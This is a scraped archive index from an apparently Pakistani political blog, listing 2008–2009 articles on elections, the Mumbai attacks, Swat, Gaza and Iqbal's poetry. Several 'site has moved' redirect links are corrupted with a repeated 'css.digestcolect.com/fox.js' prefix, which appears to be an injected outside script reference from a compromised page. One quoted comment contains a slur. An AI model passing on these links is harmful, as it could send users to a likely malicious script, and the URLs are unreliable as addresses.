Original Articles Archive
PPP and PTI (Imran Khan) join hands to support Ziaur Rehman Advocate….: Aitzaz, Hamid in all-out efforts to win LBA polls PTI Vice Chairman Hamid Khan and PPP lawyers jointly supporting Ziaur Rehman against Tariq Javed a candidate jointly supported by Kurd and Aitzaz Ahsan in LBA elections PTI VC and
Why did Prime Minister Yousuf Raza Gilani dismiss his National Security Adviser Major General (retd) Mehmud Ali Durrani?: Durrani, a mysterious character? (By Abbas Ather) Indiscretion cost Durrani his job By Our Staff Reporter (Dawn, 8 Jan 09) ISLAMABAD, Jan 7: Prime Minister Yousuf Raza Gilani on Wednesday summarily dismissed his National Security Adviser Major General (retd)
Jinnah, Ayesha Jalal, Safdar Mehmood, Irshad Haqqani, Khurshid Nadeem – an interesting debate: also read: An unlikely Indian admirer of Jinnah: Jaswant Singh of BJP
India provides evidence of the Mumbai terrorist attacks to Pakistan….: A page from the dossier given to PakistanDossier: handlers used virtual number to contact a mobile with one of the terrorists Siddharth Varadarajan (The Hindu, Wednesday, Jan 07, 2009) New Delhi: Amidst the clutter of telephone calls the Indian
India provides evidence of the Mumbai terrorist attacks to Pakistan….: A page from the dossier given to PakistanDossier: handlers used virtual number to contact a mobile with one of the terrorists Siddharth Varadarajan (The Hindu, Wednesday, Jan 07, 2009) New Delhi: Amidst the clutter of telephone calls the Indian
Robert Fisk: Why do they hate the West so much, we will ask: A child injured in the Israeli bombardment of a UN school yesterday is taken to Shifa hospital in Gaza City So once again, Israel has opened the gates of hell to the Palestinians. Forty civilian refugees dead in a
Allama Iqbal and Ahlul-Bayt: Here is a collection of Allama Muhammad Iqbal’s poems on the Ahl-e-Bayt of the Prophet Muhammad (peace by upon him and his progeny) including Iqbal’s poems on Hazrat Ali, Hazrat Fatima Zahra and Imam Hussain: Iqbal on Hazrat Imam
Allama Iqbal and Ahlul-Bayt…Iqbal’s poems on Hazrat Ali, Hazrat Fatima Zahra and Imam Hussain: This post has moved to http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubpak.com/archives/688, click this link if you are not redirected
Karbala and the Imam Hussain in Persian and Indo-Muslim literature – by Annemarie Schimmel: Annemarie Schimmel, Allama Muhammad Iqbal and the significance of Karbala In this era of the qehtur-rijal, we needed to have voices such as Iqbal and Schimmel. Instead, we have “scholars” such as Dr Israr Ahmed and Dr Zakir Naik
Karbala and the Imam Hussain in Persian and Indo-Muslim literature, including the poetry of Allama Iqbal – By Annemarie Schimmel: For a detailed account of Iqbal’s poetry on Ahlul-Bayt (A.S.), read the following article: http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&letusbuildpakistan.blogspot.com/2009/01/allama-iqbal-on-ahlul-bayt-including.html …. Annemarie Schimmel, Allama Muhammad Iqbal and the significance of Karbala In this era of the qehtur-rijal, we needed to have voices such as
Haroon-ur-Rashid’s column on Imam Hussain (and those who praise Yazid including Dr Israr Ahmed and Dr Zaik Naik): This site has moved to http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubpak.com/archives/686, click this link if you are not redirected
Ansar Abbasi reveals assets of Nawaz Sharif; the story of Nawaz Sharif’s plea bargain…: Sharif family lose 80% of assets, says Qureshi By Ansar Abbasi ISLAMABAD, Dec 10: The exile of the Sharif family to Saudi Arabia following the pardon announcement by the government, has deprived the Raiwind dwellers of their 15 assets,
Ansar Abbasi reveals assets of Nawaz Sharif; the story of Nawaz Sharif’s plea bargain…: This site has moved to http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubpak.com/archives/683, click this link if you are not redirected
Edward Said and the Palestine Cause… Palestine "the ultimate test case in the human history": Remembering Edward Said and his services for the Palestinian cause Edward Wadie Saïd MRSL (1 November 1935 – 25 September 2003) was a Palestinian American literary theorist, cultural critic, political activist, and an outspoken advocate for Palestinian rights. He
Edward Said and the Palestine Cause… Palestine “the ultimate test case in the human history”: Remembering Edward Said and his services for the Palestinian cause Edward Wadie Saïd MRSL (1 November 1935 – 25 September 2003) was a Palestinian American literary theorist, cultural critic, political activist, and an outspoken advocate for Palestinian rights. He
Ambassador Hussain Haqqani is all over the airwaves in America defending Pakistan’s case. Times of India admits…: EDITORIAL COMMENT | The War of Words30 Dec 2008, After a week of belligerence, during which sharp words were traded, Indian and Pakistani officials are cooling it, for now. India’s patience isrunning thin and it is not hard to
Websites “harmful for the integrity of the country” banned in Pakistan…: PTA orders blockade of political webpages, discussion forums Friday, January 02, 2009By Urooj Zia Karachi The Pakistan Telecommunication Authority (PTA) issued directives in the last week of December to Internet Service Providers (ISPs), ordering them to block a list
Is Imran Khan ISI’s new choice in Pakistan?: Is Imran Khan the new choice of agencies (ISI) in Pakistan? Is he the man who will be planted to replace the present democratic set up in Pakistan? The following is a collection of some resources and comments on this
Is Imran Khan the new choice of agencies (ISI) in Pakistan?: This site has moved to https://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubp.net, click this link if you are not redirected
Robert Fisk: Gaza…. The rotten state of Egypt is too powerless and corrupt to act: This site has moved to https://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubp.net, click this link if you are not redirected
Ansar Abbasi’s corruption exposed: Ashraf Ansari’s letter in ARY’s Sawal Yeh Hay; also a summry of Abbasi’s lies…: Ansar Abbasis is corrupt: PM’s ex-secy Bashir LAHORE: While commenting on a case related to the award of extra marks to the chief justice’s daughter, the prime minister’s former press secretary Zahid Bashir has claimed that a senior journalist
Black September: The role of Pakistan’s General Zia-ul-Haq in the 1970 massacre of 25,000 Palestinians in Jordan: During Black September (1970), the head of Pakistani training commission took command of the 2nd Division and helped kill and cleanse the Palestinians (est. 25,000 dead) from Jordan. It was none other that General Zia ul Haq, who later
The role of General Zia-ul-Haq in the events of Black September (1970), involving killing of 25000 Palestinians in Jordan: This site has moved to https://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubp.net, click this link if you are not redirected
The Bangladesh model and the lessons for Pakistan: Military Mullah Alliance’s new hope: The Bangladesh model in Pakistan? (Abbas Ather, Express, 1 January 2009, Common Lesson from the Bangladesh Model) … Comments: The Bangladesh model and the lessons for Pakistan By Marcvs_Tacitvs_Cicero. 1. That the Army
Hushiaar Baash: A poem on democracy, the Bangladesh model and the jihadi-army alliance in Pakistan: Hushiaar Baash Ay meray khud-kush jihadi baa-hunar hushiaar baashAy paristaar-e-Gul-o-Mullah-Umar hushiaar baash Daikhnay ko aaj kal jamhooriat ka raaj hayMilitary-Mullah alliance se magar hushiaar baash Ghair jamhoori safain phir ho rahi hain mujtamaFoji iste’maar se baar-e-digar hushiaar baash Hir
Mujrai Khalq Main In Aankhon Ne Kia Kia Dekha: Muharram 1430 A.H. A tribute to Imam-e-Aali Muqaam Imam Hussain (A.S.) Salam-e-AakhirBy Shafqat Amant Ali
Taliban vs Israel: What do ordinary Pakistanis think? Ghost of TK says: The number of Dead in Buner reaches 41. 2 squadrons of F-16 killed 2001 suicide bomber killed 41 Our condemnations of Israeli actions do ring a bit hollow when we
The Taliban atrocities against innocent people in Pakistan and the Israeli massacre of innocent Palestinians. What is the difference?: What do ordinary Pakistanis think? Ghost of TK says: The number of Dead in Buner reaches 41. 2 squadrons of F-16 killed 2001 suicide bomber killed 41 Our condemnations of Israeli actions do ring a bit hollow when we
Plight of women in Swat: Where are all the international and national human rights organisations and women rights groups?: Plight of women in Swat By Khurshid Khan THE current situation in Swat is such that any sign of peace in the valley has been washed away. The people are living through the most miserable phase of its history.
Objectifying the Pakhtun: The false fantasy of “Operation Lion Heart”; the Taliban and the dubious role of Pakistan Army….: Objectifying the PakhtunWednesday, December 31, 2008Farhat Taj Some people on the editorial pages of The News have have fantasies in which they objectify the Pakhtun. It is as if the Pakhtuns do not human needs, constraints and concerns but
Asinine and anodyne in ’09?: The industry of conspiracy theory in Pakistan: Asinine and anodyne in ’09?Wednesday, December 31, 2008Mosharraf Zaidi The writer is an independent political economist One measure of character is the ability to take responsibility for one’s own fate and actions. No matter how many detractors and enemies
What is happening in Swat? A local Swati explains the whole story: By Afzal Khan:December 30th, 2008 I belong to Swat and have closely observed the present militant uprising in Swat two years back. The solution to present situation in Swat is very simple. It just needs sincerity from the government
Swat falls to Taliban militants – Associated Press – What do orindary Pakistanis think?: The Taliban in Swat ban girls schools and girls education (Where is the
Swat falls to Taliban militants – Associated Press – What do orindary Pakistanis think?: The Taliban in Swat ban girls schools and girls education (Where is the Pakistan Army?) Amir Hameed Comments:This cancer of Fazal-ullah needs to be stopped and taken out and should not be allowed to spread. These fagg0t beardos are
Basit, son of DDG Intelligence Bureau Riaz Sheikh, writes an open letter to Ansar Abbasi: This site has moved to http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubpak.com/archives/657, click this link if you are not redirected